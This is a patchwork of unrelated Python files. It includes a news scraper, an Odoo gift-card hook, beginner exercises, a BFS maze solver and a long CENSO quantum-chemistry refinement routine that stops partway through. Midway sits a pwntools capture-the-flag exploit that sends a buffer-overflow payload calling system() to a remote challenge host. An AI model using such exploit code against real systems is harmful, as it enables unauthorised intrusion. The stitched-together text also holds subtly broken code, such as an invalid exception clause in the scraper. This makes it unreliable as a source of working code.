import requests
import time
from parsel import Selector

from tech_news.database import create_news

# Requisito 1
def fetch(url, timeout=3):
    user_agent = {"user-agent": "Fake user-agent"}
    try:
        response = requests.get(url, timeout=timeout, headers=user_agent)
        response.raise_for_status()
        time.sleep(1)
    except (requests.HTTPError, requests.ReadTimeout):
        return None
    else:
        return response.text

# Requisito 2
def scrape_novidades(html_content):
    try:
        selector = Selector(html_content)
        news_links = selector.css("a.cs-overlay-link ::attr(href)").getall()
    except html_content == "":
        return []
    else:
        return news_links

# Requisito 3
def scrape_next_page_link(html_content):
    selector = Selector(html_content)
    selector_css_string = "a.next ::attr(href)"
    return selector.css(selector_css_string).get()

# Requisito 4
def scrape_noticia(html_content):
    selector = Selector(html_content)
    url = selector.css("head link[rel=canonical] ::attr(href)").get()
    title = selector.css("h1.entry-title::text").get()
    timestamp = selector.css("li.meta-date::text").get()
    writer = selector.css("span.fn a::text").get()
    comments = selector.css("h5.title-block").get()
    comments_count = 0
    for s in comments.split():
        if s.isdigit():
            comments_count = int(s)
    summary = selector.css(
        "div.entry-content > p:nth-of-type(1) *::text"
    ).getall()
    tags = selector.css("li a[rel=tag]::text").getall()
    category = selector.css("span.label::text").get()
    scraped_dict = {
        "url": url,
        "title": title.strip(),
        "timestamp": timestamp,
        "writer": writer.strip(),
        "comments_count": comments_count,
        "summary": ''.join(summary).strip(),
        "tags": tags,
        "category": category,
    }
    return scraped_dict

# Requisito 5
def get_tech_news(amount):
    url = "https://blog.betrybe.com/"
    news = []
    while len(news) < amount:
        news_links = scrape_novidades(fetch(url))
        for link in news_links:
            if len(news) < amount:
                news.append(scrape_noticia(fetch(link)))
        url = scrape_next_page_link(fetch(url))
    create_news(news)
    return news


from odoo import models, api

class PosOrderLine(models.Model):
    _inherit = "pos.order.line"

    @api.model
    def create(self, values):
        if 'sale_order_line_id' in values:
            gift_card = self.env['sale.order.line'].browse(values['sale_order_line_id']).gift_card_id
            #If the giftcard was already in a sale order before loading the order in the PoS, we need to remove the giftcard_id because it would be counted as used 2 times
            if gift_card:
                values['gift_card_id'] = None
        return super(PosOrderLine, self).create(values)


# 7-5 7-6
act = True
while act:
    age = input('Input your age: ')
    if int(age) < 3:
        print('0')
    elif int(age) >=3 and int(age) < 12:
        print('10')
    else:
        print('15')
    signal = input('Next one or quit? Input "next" or "quit": ')
    if signal == 'next':
        continue
    elif signal == 'quit':
        break


from collections import deque

xpos = [-1, 1, 0, 0]
ypos = [0, 0, -1, 1]
a, b = map(int, input().split(' '))
graph = []
visit = [[0]*b for i in range(a)]
for i in range(a):
    graph.append(list(map(int, input().strip(' '))))
visit[0][0] = 1

def bfs(x, y):
    q = deque([(x, y)])
    while q:
        pop_x, pop_y = q.popleft()
        for i in range(4):
            new_x = pop_x+xpos[i]
            new_y = pop_y+ypos[i]
            if new_x >= a or new_y >= b or new_x < 0 or new_y < 0:
                continue
            if visit[new_x][new_y] != 0:
                continue
            if graph[new_x][new_y] != 1:
                continue
            q.append((new_x, new_y))
            visit[new_x][new_y] = visit[pop_x][pop_y]+1
    print(visit[a-1][b-1])

bfs(0, 0)


"""exercicio010.py em 2018-09-30. Projeto Practice Python.

Pegue duas listas, digamos, por exemplo, estas duas:

a = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89]
b = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]
e escreva um programa que retorne uma lista que contenha apenas os elementos comuns entre as listas
(sem duplicatas). Verifique se o seu programa funciona em duas listas de tamanhos diferentes.

"""
from random import sample
from cicero import cabecalho

def intersecao(a: list, b: list) -> object:
    """Faz a interseção entre dois conjuntos

    :param a: lista
    :type a: list
    :param b: lista
    :type b: list
    :return: lista com a interseção
    :rtype: object
    """
    return print(f'Conjunto a = {a}\nConjunto b = {b}\nInterseção = {list(set(a) & set(b))}')

if __name__ == '__main__':
    cabecalho('List Overlap Comprehensions')
    lista1 = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89]
    lista2 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]
    lista3 = sample(range(30), 10)
    lista4 = sample(range(30), 12)
    intersecao(lista1, lista2)

#
# https://docs.python.org/3/tutorial/datastructures.html#sets
#
# 5.4. Sets
#
# O Python também inclui um tipo de dados para conjuntos.
# Um conjunto é uma coleção não ordenada sem elementos duplicados.
# Usos básicos incluem testes de associação e eliminação de entradas duplicadas.
# Os objetos do conjunto também suportam operações matemáticas como:
#  união(|), interseção(&), diferença(-) e diferença simétrica(^).
#
# Chaves ou a função set() podem ser usadas para criar conjuntos.
# Nota: para criar um conjunto vazio, você deve usar set() e não {}; o segundo cria um dicionário vazio.
#
#
# Aqui está uma breve demonstração:
#
# >>> cesta = {'maçã', 'laranja', 'maçã', 'pera', 'laranja', 'banana'}
# >>> print (cesta)                     # mostra que as duplicatas foram removidas
# {'laranja', 'banana', 'pera', 'maçã'}
# >>> 'laranja' in cesta                # teste de associação rápida
# True
# >>> 'uva' in cesta
# False
#
# >>> # Demonstrar operações de conjunto em letras únicas de duas palavras
# ...
# >>> a = set ('abracadabra')
# >>> b = set ('alacazam')
# >>> a                                 # letras únicas em a
# {'a', 'r', 'b', 'c', 'd'}
# >>> b                                 # letras únicas em b
# {'z', 'm', 'a', 'c', 'l'}
# >>> a - b                             # letras em a mas não em b (diferença (a - b))
# {'r', 'd', 'b'}
# >>> a | b                             # letras em a ou b ou ambos (união (a U b))
# {'a, c, r, d, b, m, z, l
# >>>a & b                              # letras em a e b (interseção (a ∩ b))
# {'a', 'c'}
# >>> a ^ b                             # letras em a ou b mas não em ambos (diferença simétrica (a ∆ b))
# {'r', 'd', 'b', 'm', 'z', 'l'}


from pwn import *
from LibcSearcher import *
#context.terminal=['tmux','splitw','-h']
#context(os='linux', arch='amd64', kernel='amd64',log_level='debug')
context(os='linux', arch='i386', kernel='i386',log_level='debug')
#io=gdb.debug('./pwn')
#io=process('./pwn')
io=remote('node4.buuoj.cn',29226)

s,sl,sa,sla = io.send, io.sendline, io.sendafter, io.sendlineafter
r, ra, rl, ru = io.recv, io.recvall, io.recvline, io.recvuntil
ii=io.interactive

elf=ELF('./pwn')

win=0x80485BD
cat=0x080487E0
r=0x080485D0
s=elf.plt['system']
#system=0804A018
sys=0x0804A018
payload=b'a'*(0x13+4)+p32(s)+p32(win)+p32(cat)

#ru(b'cff flag go go go ...\n')
sl(payload)

ii()


"""
REFINEMENT == Part3
designed to yield high level free energies on any conformers (DFT or non-DFT
optimized).
"""
from multiprocessing import JoinableQueue as Queue
import shutil
import os
import sys
from .cfg import PLENGTH, CODING, AU2KCAL, DIGILEN, WARNLEN, qm_prepinfo
from .utilities import (
    check_for_folder,
    print_block,
    new_folders,
    last_folders,
    frange,
    calc_boltzmannweights,
    printout,
    move_recursively,
    write_trj,
    check_tasks,
    print,
    print_errors,
    ensemble2coord,
    conf_in_interval,
)
from .parallel import run_in_parallel
from .orca_job import OrcaJob
from .tm_job import TmJob
from .datastructure import MoleculeData

def part3(config, conformers, store_confs, ensembledata):
    """
    Refinement of the ensemble, at high level DFT (possibly with implicit solvation)
    Calculate low level free energies with COSMO-RS single-point and gsolv
    Input:
    - config [config_setup object] contains all settings
    - conformers [list of molecule_data objects] each conformer is represented
    Return:
    -> config
    -> conformers
    """
    save_errors = []
    if config.progress:
        print("#>>># CENSO: Starting part3", file=sys.stderr)
    print("\n" + "".ljust(PLENGTH, "-"))
    print("CRE REFINEMENT - PART3".center(PLENGTH, " "))
    print("".ljust(PLENGTH, "-") + "\n")
    # print flags for part3
    info = []
    info.append(["prog3", "program for part3"])
    info.append(["part3_threshold", "Boltzmann sum threshold G_thr(3)"])
    info.append(["func3", "functional for part3"])
    info.append(["basis3", "basis set for part3"])
    if config.solvent != "gas":
        info.append(["solvent", "solvent"])
        info.append(["smgsolv3", "solvent model"])
    info.append(["temperature", "temperature"])
    if config.multitemp:
        info.append(["multitemp", "evalulate at different temperatures"])
        info.append(
            [
                "printoption",
                "temperature range",
                [
                    i
                    for i in frange(
                        config.trange[0], config.trange[1], config.trange[2]
                    )
                ],
            ]
        )
    info.append(["prog_rrho", "program for mRRHO contribution"])
    if config.prog_rrho == "xtb":
        info.append(["part3_gfnv", "GFN version for mRRHO and/or GBSA_Gsolv"])
        if config.bhess:
            info.append(
                ["bhess", "Apply constraint to input geometry during mRRHO calculation"]
            )

    max_len_digilen = 0
    for item in info:
        if item[0] == "justprint":
            if "short-notation" in item[1]:
                tmp = len(item[1]) - len("short-notation:")
            else:
                tmp = len(item[1])
        else:
            tmp = len(item[1])
        if tmp > max_len_digilen:
            max_len_digilen = tmp
    max_len_digilen += 1
    if max_len_digilen < DIGILEN:
        max_len_digilen = DIGILEN

    optionsexchange = {True: "on", False: "off"}
    for item in info:
        if item[0] == "justprint":
            print(item[1:][0])
        else:
            if item[0] == "printoption":
                option = item[2]
            else:
                option = getattr(config, item[0])
            if option is True or option is False:
                option = optionsexchange[option]
            elif isinstance(option, list):
                option = [str(i) for i in option]
                if len(str(option)) > 40:
                    length = 0
                    reduced = []
                    for i in option:
                        length += len(i) + 2
                        if length < 40:
                            reduced.append(i)
                    reduced.append("...")
                    option = reduced
                    length = 0
                option = ", ".join(option)
            print(
                "{}: {:{digits}} {}".format(
                    item[1], "", option, digits=max_len_digilen - len(item[1])
                )
            )
    print("")
    # end print

    calculate = []  # has to be calculated in this run
    prev_calculated = []  # was already calculated in a previous run
    try:
        store_confs
    except NameError:
        store_confs = []  # stores all confs which are sorted out!

    # setup queues
    q = Queue()
    resultq = Queue()

    if config.prog3 == "tm":
        job = TmJob
    elif config.prog3 == "orca":
        job = OrcaJob

    for conf in list(conformers):
        if conf.removed:
            store_confs.append(conformers.pop(conformers.index(conf)))
            print(f"CONF{conf.id} is removed as requested by the user!")
            continue
        if conf.id > config.nconf:
            store_confs.append(conformers.pop(conformers.index(conf)))
            continue
        if conf.highlevel_sp_info["info"] == "failed":
            conf = conformers.pop(conformers.index(conf))
            store_confs.append(conf)
            print(f"Calculation of CONF{conf.id} failed in the previous run!")
        elif conf.highlevel_sp_info["info"] == "not_calculated":
            # has to be calculated now
            conf = conformers.pop(conformers.index(conf))
            calculate.append(conf)
        elif conf.highlevel_sp_info["info"] == "prep-failed":
            # has to be retried now
            conf = conformers.pop(conformers.index(conf))
            calculate.append(conf)
        elif conf.highlevel_sp_info["info"] == "calculated":
            conf = conformers.pop(conformers.index(conf))
            if config.solvent != "gas":
                # check if solvation calculation is calculated as well
                if conf.highlevel_gsolv_info["info"] == "failed":
                    store_confs.append(conf)
                    print(
                        f"Calculation of the solvation contribution for CONF"
                        f"{conf.id} failed in the previous run!"
                    )
                elif conf.highlevel_gsolv_info["info"] == "not_calculated":
                    calculate.append(conf)
                elif conf.highlevel_gsolv_info["info"] == "prep-failed":
                    # retry
                    calculate.append(conf)
                elif conf.highlevel_gsolv_info["info"] == "calculated":
                    conf.job["success"] = True
                    prev_calculated.append(conf)
                else:
                    print("UNEXPECTED BEHAVIOUR")
            elif config.solvent == "gas":
                conf.job["success"] = True
                prev_calculated.append(conf)
    if not calculate and not prev_calculated:
        print(f"{'ERROR:':{WARNLEN}}No conformers left!")
        print("Going to exit!")
        sys.exit(1)

    geometries_from_input = False
    # check if calculated on unoptimized geometries:
    if any(
        [
            conf.optimization_info["info"] == "not_calculated"
            for conf in calculate + prev_calculated
        ]
    ):
        if config.part2:
            print_errors(
                f"{'ERROR:':{WARNLEN}}Calculating (free) energies on "
                f"DFT unoptimized geometries!\n"
                f"{'':{WARNLEN}}Even though part2 is calculated!\n"
                f"{'':{WARNLEN}}Calculation on mixture of optimized "
                f"and unoptimized geometries is not advised!",
                save_errors,
            )
            print("Going to exit!")
            sys.exit(1)
        else:
            print_errors(
                f"{'WARNING:':{WARNLEN}}Calculating (free) energies "
                f"on DFT unoptimized geometries!",
                save_errors,
            )
            geometries_from_input = True
    # SI geometry:
    if geometries_from_input:
        ensembledata.si["part3"]["Geometry"] = "GFNn-xTB (input geometry)"
    else:
        ensembledata.si["part3"]["Geometry"], _ = config.get_method_name(
            "xtbopt",
            func=config.func,
            basis=config.basis,
            solvent=config.solvent,
            sm=config.sm2,
        )
        ensembledata.si["part3"]["Geometry"] += f" @optlevel: {config.optlevel2}"
    #

    if config.solvent == "gas":
        print("\nCalculating single-point energies!")
    else:
        print(
            "\nCalculating single-point energies and solvation contribution (G_solv)!"
        )

    instruction = {
        "func": config.func3,
        "basis": getattr(config, "basis3", "def2-TZVPD"),
        "charge": config.charge,
        "unpaired": config.unpaired,
        "solvent": config.solvent,
        "sm": config.smgsolv3,
        "temperature": config.temperature,
        "gfn_version": config.part3_gfnv,
        "copymos": "",
        "energy": 0.0,
        "energy2": 0.0,
        "success": False,
        "onlyread": config.onlyread,
    }
    tmp_SI = None
    if config.multitemp:
        instruction["trange"] = [
            i for i in frange(config.trange[0], config.trange[1], config.trange[2])
        ]
    else:
        instruction["trange"] = []
    if config.solvent == "gas":
        instruction["jobtype"] = "sp"
        instruction["prepinfo"] = ["high"]
        instruction["method"], _ = config.get_method_name(
            "sp", func=instruction["func"], basis=instruction["basis"]
        )
        folder = "part3"
        name = "highlevel single-point"
    else:
        if config.smgsolv3 in config.smgsolv_3:
            # additive GSolv
            # COSMORS
            if "cosmors" in config.smgsolv3 and config.smgsolv3 != "dcosmors":
                job = TmJob
                exc_fine = {"cosmors": "normal", "cosmors-fine": "fine"}
                tmp = {
                    "jobtype": "cosmors",
                    "prepinfo": ["high"],
                    "cosmorssetup": config.external_paths["cosmorssetup"],
                    "cosmorsparam": exc_fine.get(config.smgsolv3, "normal"),
                    "ctd-param": config.cosmorsparam,
                }
                if config.vapor_pressure:
                    tmp["vapor_pressure"] = True
                instruction.update(tmp)
                instruction["method"], instruction["method2"] = config.get_method_name(
                    "cosmors",
                    func=instruction["func"],
                    basis=instruction["basis"],
                    sm=instruction["sm"],
                )
                folder = "part3/COSMO"
                name = "highlevel COSMO-RS"
            # GBSA-Gsolv / ALPB-Gsolv
            elif instruction["sm"] in ("gbsa_gsolv", "alpb_gsolv"):
                # do DFT gas phase sp and additive Gsolv
                instruction["jobtype"] = instruction["sm"]
                instruction["method"], instruction["method2"] = config.get_method_name(
                    instruction["jobtype"],
                    func=instruction["func"],
                    basis=instruction["basis"],
                    sm=instruction["sm"],
                    gfn_version=instruction["gfn_version"],
                )
                if (
                    conf.highlevel_sp_info["info"] == "calculated"
                    and conf.highlevel_sp_info["method"] == instruction["method"]
                ):
                    # do not calculate gas phase sp again!
                    tmp_SI = ["high"]
                    instruction["prepinfo"] = []
                else:
                    instruction["prepinfo"] = ["high"]
                name = "highlevel " + str(instruction["sm"]).upper()
                folder = "part3"
            # SMD-Gsolv
            elif instruction["sm"] == "smd_gsolv":
                job = OrcaJob
                instruction["prepinfo"] = ["high"]
                instruction["jobtype"] = instruction["sm"]
                instruction["method"], instruction["method2"] = config.get_method_name(
                    "smd_gsolv",
                    func=instruction["func"],
                    basis=instruction["basis"],
                    sm=instruction["sm"],
                )
                name = "highlevel" + str(instruction["sm"]).upper()
                folder = "part3"
        else:
            # with implicit solvation
            instruction["jobtype"] = "sp_implicit"
            instruction["prepinfo"] = ["high"]
            instruction["method"], instruction["method2"] = config.get_method_name(
                "sp_implicit",
                func=instruction["func"],
                basis=instruction["basis"],
                sm=instruction["sm"],
            )
            name = "high level single-point"
            folder = "part3"

    if prev_calculated:
        check_for_folder(config.cwd, [i.id for i in prev_calculated], folder)
        print("The calculation was performed before for:")
        print_block(["CONF" + str(i.id) for i in prev_calculated])
    pl = config.lenconfx + 4 + len(str("/" + folder))

    check = {True: "was successful", False: "FAILED"}
    if geometries_from_input:
        # geoms folder needed for coord best and trj
        geoms_folder = folder
    if calculate:
        # make new folder:
        save_errors, store_confs, calculate = new_folders(
            config.cwd, calculate, folder, save_errors, store_confs
        )
        # write coord to folder
        if config.smgsolv3 in ("cosmors", "cosmors-fine"):
            cp_to = ["part3", folder]
        else:
            cp_to = [folder]
        if geometries_from_input:
            print_errors(
                f"{'INFORMATION:':{WARNLEN}}Taking geometries from ensemble input (unoptimized)!",
                save_errors,
            )
        for folder in cp_to:
            if geometries_from_input:
                # working on DFT unoptimized geometries
                calculate, store_confs, save_errors = ensemble2coord(
                    config, folder, calculate, store_confs, save_errors
                )
            else:
                # need to copy optimized coord to folder
                for conf in list(calculate):
                    tmp1 = os.path.join(
                        config.cwd, "CONF" + str(conf.id), config.func, "coord"
                    )
                    tmp2 = os.path.join("CONF" + str(conf.id), folder, "coord")
                    try:
                        shutil.copy(tmp1, tmp2)
                    except FileNotFoundError:
                        print_errors(
                            f"{'ERROR:':{WARNLEN}}can't copy optimized "
                            f"geometry of CONF{conf.id}!",
                            save_errors,
                        )
                        store_confs.append(calculate.pop(calculate.index(conf)))

        if config.solvent == "gas":
            print("The high level single-point is now calculated for:")
        else:
            print("The high level gsolv calculation is now calculated for:")
        print_block(["CONF" + str(i.id) for i in calculate])
        # parallel calculation:
        calculate = run_in_parallel(
            config,
            q,
            resultq,
            job,
            config.maxthreads,
            config.omp,
            calculate,
            instruction,
            config.balance,
            folder,
        )
        # check if too many calculations failed

        for conf in list(calculate):
            if instruction["jobtype"] in ("sp", "sp_implicit"):
                line = (
                    f"{name} calculation {check[conf.job['success']]}"
                    f" for {last_folders(conf.job['workdir'], 2):>{pl}}: "
                    f"{conf.job['energy']:>.8f}"
                )
                print(line)
                if not conf.job["success"]:
                    save_errors.append(line)
                    conf.highlevel_sp_info["info"] = "failed"
                    conf.highlevel_sp_info["method"] = instruction["method"]
                    conf.part_info["part3"] = "refused"
                    store_confs.append(calculate.pop(calculate.index(conf)))
                else:
                    conf.highlevel_sp_info["energy"] = conf.job["energy"]
                    conf.highlevel_sp_info["info"] = "calculated"
                    conf.highlevel_sp_info["method"] = instruction["method"]
                    if instruction["jobtype"] == "sp_implicit":
                        conf.highlevel_gsolv_info["range"] = {
                            conf.job["temperature"]: 0.0
                        }
                        conf.highlevel_gsolv_info["info"] = "calculated"
                        conf.highlevel_gsolv_info["method"] = instruction["method2"]
            elif instruction["jobtype"] in (
                "cosmors",
                "smd_gsolv",
                "gbsa_gsolv",
                "alpb_gsolv",
            ):
                line = (
                    f"{name} calculation {check[conf.job['success']]} for "
                    f"{last_folders(conf.job['workdir'], 3):>{pl}}: "
                    f"{conf.job['energy2']:>.8f}"
                )
                print(line)
                if not conf.job["success"]:
                    save_errors.append(line)
                    conf.part_info["part3"] = "refused"
                    conf.highlevel_sp_info["info"] = "failed"
                    conf.highlevel_sp_info["method"] = instruction["method"]
                    conf.highlevel_gsolv_info["info"] = "failed"
                    conf.highlevel_gsolv_info["method"] = instruction["method2"]
                    store_confs.append(calculate.pop(calculate.index(conf)))
                else:
                    if (
                        instruction["jobtype"] in ("gbsa_gsolv", "alpb_gsolv")
                        and conf.highlevel_sp_info["info"] == "calculated"
                        and conf.highlevel_sp_info["method"] == instruction["method"]
                    ):
                        conf.job["energy"] = conf.highlevel_sp_info["energy"]
                    conf.highlevel_sp_info["energy"] = conf.job["energy"]
                    conf.highlevel_sp_info["info"] = "calculated"
                    conf.highlevel_sp_info["method"] = instruction["method"]
                    conf.highlevel_gsolv_info["gas-energy"] = conf.job["energy"]
                    conf.highlevel_gsolv_info["info"] = "calculated"
                    conf.highlevel_gsolv_info["method"] = instruction["method2"]
                    conf.highlevel_gsolv_info["range"] = conf.job["erange1"]
            else:
                print(
                    f'UNEXPECTED BEHAVIOUR: {conf.job["success"]} {conf.job["jobtype"]}'
                )
        # save current data to jsonfile
        config.write_json(
            config.cwd,
            [i.provide_runinfo() for i in calculate]
            + [i.provide_runinfo() for i in prev_calculated]
            + [i.provide_runinfo() for i in store_confs]
            + [ensembledata],
            config.provide_runinfo(),
        )
        check_tasks(calculate, config.check)
    else:
        print("No conformers are considered additionally.")
    # adding conformers calculated before:
    if prev_calculated:
        # adding conformers calculated before:
        for conf in list(prev_calculated):
            conf.job["workdir"] = os.path.normpath(
                os.path.join(config.cwd, "CONF" + str(conf.id), folder)
            )
            if instruction["jobtype"] in ("sp", "sp_implicit"):
                print(
                    f"{name} calculation {check[conf.job['success']]} for "
                    f"{last_folders(conf.job['workdir'], 2):>{pl}}: "
                    f"{conf.highlevel_sp_info['energy']:>.8f}"
                )
            elif instruction["jobtype"] in (
                "cosmors",
                "smd_gsolv",
                "gbsa_gsolv",
                "alpb_gsolv",
            ):
                print(
                    f"{name} calculation {check[conf.job['success']]} for "
                    f"{last_folders(conf.job['workdir'], 3):>{pl}}: "
                    f"{getattr(conf, 'highlevel_gsolv_info').get('range',{}).get(config.temperature, 0.0):>.8f}"
                )
            calculate.append(prev_calculated.pop(prev_calculated.index(conf)))

    # create data for possible SI generation:-----------------------------------
    # Energy:
    ensembledata.si["part3"]["Energy"] = instruction["method"]
    if "DOGCP" in instruction["prepinfo"]:
        ensembledata.si["part3"]["Energy"] += " + GCP"
    # Energy_settings:
    try:
        if job == TmJob:
            if tmp_SI is not None:
                tmp = " ".join(qm_prepinfo["tm"][tmp_SI[0]]).replace("-", "")
            else:
                tmp = " ".join(qm_prepinfo["tm"][instruction["prepinfo"][0]]).replace(
                    "-", ""
                )
        elif job == OrcaJob:
            if tmp_SI is not None:
                tmp = " ".join(qm_prepinfo["orca"][tmp_SI[0]])
            else:
                tmp = " ".join(qm_prepinfo["orca"][instruction["prepinfo"][0]])
        ensembledata.si["part3"]["Energy_settings"] = tmp
    except (TypeError, IndexError):
        pass
    # GmRRHO is done below!
    # Solvation:
    if config.solvent == "gas":
        ensembledata.si["part3"]["G_solv"] = "gas-phase"
    else:
        if instruction["jobtype"] in ("cosmors", "cosmors-fine", "cosmors-normal"):
            ensembledata.si["part3"]["G_solv"] = (
                instruction["method2"] + " param= " + instruction["ctd-param"]
            )
        else:
            ensembledata.si["part3"]["G_solv"] = instruction["method2"]
    # Geometry is done above:
    # QM-CODE:
    ensembledata.si["part3"]["main QM code"] = str(config.prog3).upper()
    # Threshold:
    ensembledata.si["part3"][
        "Threshold"
    ] = f"Boltzmann sum threshold: {config.part3_threshold} %"
    # END SI generation --------------------------------------------------------

    for conf in calculate:
        conf.reset_job_info()

    if not calculate:
        print_errors(f"{'ERROR:':{WARNLEN}}No conformers left!", save_errors)
        print("Going to exit!")
        sys.exit(1)
    # ***************************************************************************
    if config.evaluate_rrho:
        instruction_rrho = {
            "jobtype": "rrhoxtb",
            "func": getattr(config, "part3_gfnv"),
            "gfn_version": getattr(config, "part3_gfnv"),
            "temperature": config.temperature,
            "charge": config.charge,
            "unpaired": config.unpaired,
            "solvent": config.solvent,
            "bhess": config.bhess,
            "sm_rrho": config.sm_rrho,
            "rmsdbias": config.rmsdbias,
            "cwd": config.cwd,
            "consider_sym": config.consider_sym,
            "energy": 0.0,
            "energy2": 0.0,
            "success": False,
            "progpath": config.external_paths["xtbpath"],
            "imagthr": config.imagthr,
            "sthr": config.sthr,
            "scale": config.scale,
            "onlyread": config.onlyread,
        }
        folder_rrho = "rrho_part3"
        instruction_rrho["method"], _ = config.get_method_name(
            "rrhoxtb",
            bhess=config.bhess,
            gfn_version=instruction_rrho["gfn_version"],
            sm=instruction_rrho["sm_rrho"],
            solvent=instruction_rrho["solvent"],
        )

        # GmRRHO for SI information:
        if config.evaluate_rrho:
            ensembledata.si["part3"]["G_mRRHO"] = instruction_rrho["method"]
            if "bhess" in ensembledata.si["part3"]["G_mRRHO"]:
                ensembledata.si["part3"]["G_mRRHO"] += " SPH"
        else:
            ensembledata.si["part3"]["G_mRRHO"] = "not included"
        # END SI

        if config.multitemp:
            instruction_rrho["trange"] = [
                i for i in frange(config.trange[0], config.trange[1], config.trange[2])
            ]
        else:
            instruction_rrho["trange"] = []

        # check if calculated
        for conf in list(calculate):
            if conf.removed:
                store_confs.append(calculate.pop(calculate.index(conf)))
                print(f"CONF{conf.id} is removed as requested by the user!")
                continue
            if conf.highlevel_grrho_info["info"] == "calculated":
                conf = calculate.pop(calculate.index(conf))
                conf.job["success"] = True
                conf.sym = conf.highlevel_grrho_info.get("sym", conf.sym)
                conf.linear = conf.highlevel_grrho_info.get("linear", conf.linear)
                conf.symnum = conf.highlevel_grrho_info.get("symnum", conf.symnum)
                prev_calculated.append(conf)
            elif conf.highlevel_grrho_info["info"] == "failed":
                conf = calculate.pop(calculate.index(conf))
                conf.part_info["part3"] = "refused"
                store_confs.append(conf)
                print(f"Calculation of CONF{conf.id} failed in the previous run!")
            elif conf.highlevel_grrho_info["info"] in ("not_calculated", "prep-failed"):
                # stay in calculate (e.g not_calculated or prep-failed)
                # check if method has been calculated in part2 and part2 is active in this run
                # (otherwise possible mixup of optimized and unoptimized geometries)
                if (
                    instruction_rrho["method"] == conf.lowlevel_grrho_info["method"]
                    and config.part2
                ):
                    # has been calculated before, just copy
                    conf.job["success"] = True
                    attributes = vars(MoleculeData(0)).get("highlevel_grrho_info")
                    tmp = {}
                    for key in attributes.keys():
                        if key != "prev_methods":
                            tmp[key] = getattr(conf, "lowlevel_grrho_info").get(key)
                    getattr(conf, "highlevel_grrho_info").update(tmp)
                    # if rrho is taken from part2 still make folder for rrho_part3
                    save_errors, store_confs, calculate = new_folders(
                        config.cwd,
                        [conf],
                        folder_rrho,
                        save_errors,
                        store_confs,
                        silent=True,
                    )
                    prev_calculated.append(calculate.pop(calculate.index(conf)))
                elif (
                    instruction_rrho["method"]
                    in conf.lowlevel_grrho_info["prev_methods"].keys()
                    and config.part2
                ):
                    # has been calculated before, just copy
                    conf.job["success"] = True
                    conf.load_prev(
                        "lowlevel_grrho_info",
                        instruction_rrho["method"],
                        saveto="highlevel_grrho_info",
                    )
                    # if rrho is taken from part2 still make folder for rrho_part3
                    save_errors, store_confs, calculate = new_folders(
                        config.cwd,
                        [conf],
                        folder_rrho,
                        save_errors,
                        store_confs,
                        silent=True,
                    )
                    prev_calculated.append(calculate.pop(calculate.index(conf)))
                else:
                    # stays in calculate and has to be calculated now
                    pass
            else:
                print("UNEXPECTED BEHAVIOUR")
        if not calculate and not prev_calculated:
            print_errors(f"{'ERROR:':{WARNLEN}}No conformers left!", save_errors)
            print("Going to exit!")
            sys.exit(1)
        # do the rrho stuff:
        if config.solvent == "gas":
            if geometries_from_input:
                print("\nCalculating high level G_mRRHO on input geometry!")
            else:
                print("\nCalculating high level G_mRRHO on DFT geometry!")
        else:
            if geometries_from_input:
                print(
                    "\nCalculating high level G_mRRHO with implicit solvation "
                    "on input geometry!"
                )
            else:
                print(
                    "\nCalculating high level G_mRRHO with implicit solvation "
                    "on DFT geometry!"
                )
        if prev_calculated:
            check_for_folder(config.cwd, [i.id for i in prev_calculated], folder_rrho)
            print("The G_mRRHO calculation was performed before for:")
            print_block(["CONF" + str(i.id) for i in prev_calculated])
        pl = config.lenconfx + 4 + len(str("/" + folder_rrho))

        if calculate:
            print("The G_mRRHO calculation is now performed for:")
            print_block(["CONF" + str(i.id) for i in calculate])
            # create folders:
            save_errors, store_confs, calculate = new_folders(
                config.cwd, calculate, folder_rrho, save_errors, store_confs
            )
            # write coord to folder
            if geometries_from_input:
                # working on DFT unoptimized geometries
                calculate, store_confs, save_errors = ensemble2coord(
                    config, folder_rrho, calculate, store_confs, save_errors
                )
            else:
                # copy optimized geoms to folder
                for conf in list(calculate):
                    try:
                        tmp_from = os.path.join(
                            config.cwd, "CONF" + str(conf.id), config.func
                        )
                        tmp_to = os.path.join(
                            config.cwd, "CONF" + str(conf.id), folder_rrho
                        )
                        shutil.copy(
                            os.path.join(tmp_from, "coord"),
                            os.path.join(tmp_to, "coord"),
                        )
                    except shutil.SameFileError:
                        pass
                    except FileNotFoundError:
                        if not os.path.isfile(os.path.join(tmp_from, "coord")):
                            print(
                                f"{'ERROR:':{WARNLEN}}while copying the coord file from {tmp_from}! "
                                "The corresponding file does not exist."
                            )
                        elif not os.path.isdir(tmp_to):
                            print(
                                f"{'ERROR:':{WARNLEN}}Could not create folder {tmp_to}!"
                            )
                        print(f"{'ERROR:':{WARNLEN}}Removing conformer {conf.name}!")
                        conf.highlevel_grrho_info["info"] = "prep-failed"
                        store_confs.append(calculate.pop(calculate.index(conf)))
                        save_errors.append(
                            f"CONF{conf.id} was removed, because IO failed!"
                        )
            # parallel execution:
            calculate = run_in_parallel(
                config,
                q,
                resultq,
                job,
                config.maxthreads,
                config.omp,
                calculate,
                instruction_rrho,
                config.balance,
                folder_rrho,
            )
            check = {True: "was successful", False: "FAILED"}
            # check if too many calculations failed

            ###
            for conf in list(calculate):
                print(
                    f"The G_mRRHO calculation @ {conf.job['symmetry']} "
                    f"{check[conf.job['success']]} for "
                    f"{last_folders(conf.job['workdir'], 2):>{pl}}: "
                    f"{conf.job['energy']:>.8f} "
                    f"""S_rot(sym)= {conf.calc_entropy_sym(
                        config.temperature,
                        symnum=conf.job['symnum']):>.7f} """
                    f"""using= {conf.get_mrrho(
                        config.temperature,
                        rrho='direct_input',
                        consider_sym=config.consider_sym,
                        symnum=conf.job['symnum'],
                        direct_input=conf.job["energy"]):>.7f}"""
                )
                if not conf.job["success"]:
                    conf.part_info["part3"] = "refused"
                    conf.highlevel_grrho_info["info"] = "failed"
                    conf.highlevel_grrho_info["method"] = instruction_rrho["method"]
                    store_confs.append(calculate.pop(calculate.index(conf)))
                else:
                    conf.sym = conf.job["symmetry"]
                    conf.linear = conf.job["linear"]
                    conf.highlevel_grrho_info["sym"] = conf.job["symmetry"]
                    conf.highlevel_grrho_info["linear"] = conf.job["linear"]
                    conf.highlevel_grrho_info["symnum"] = conf.job["symnum"]
                    conf.highlevel_grrho_info["rmsd"] = conf.job["rmsd"]
                    conf.highlevel_grrho_info["info"] = "calculated"
                    conf.highlevel_grrho_info["method"] = instruction_rrho["method"]
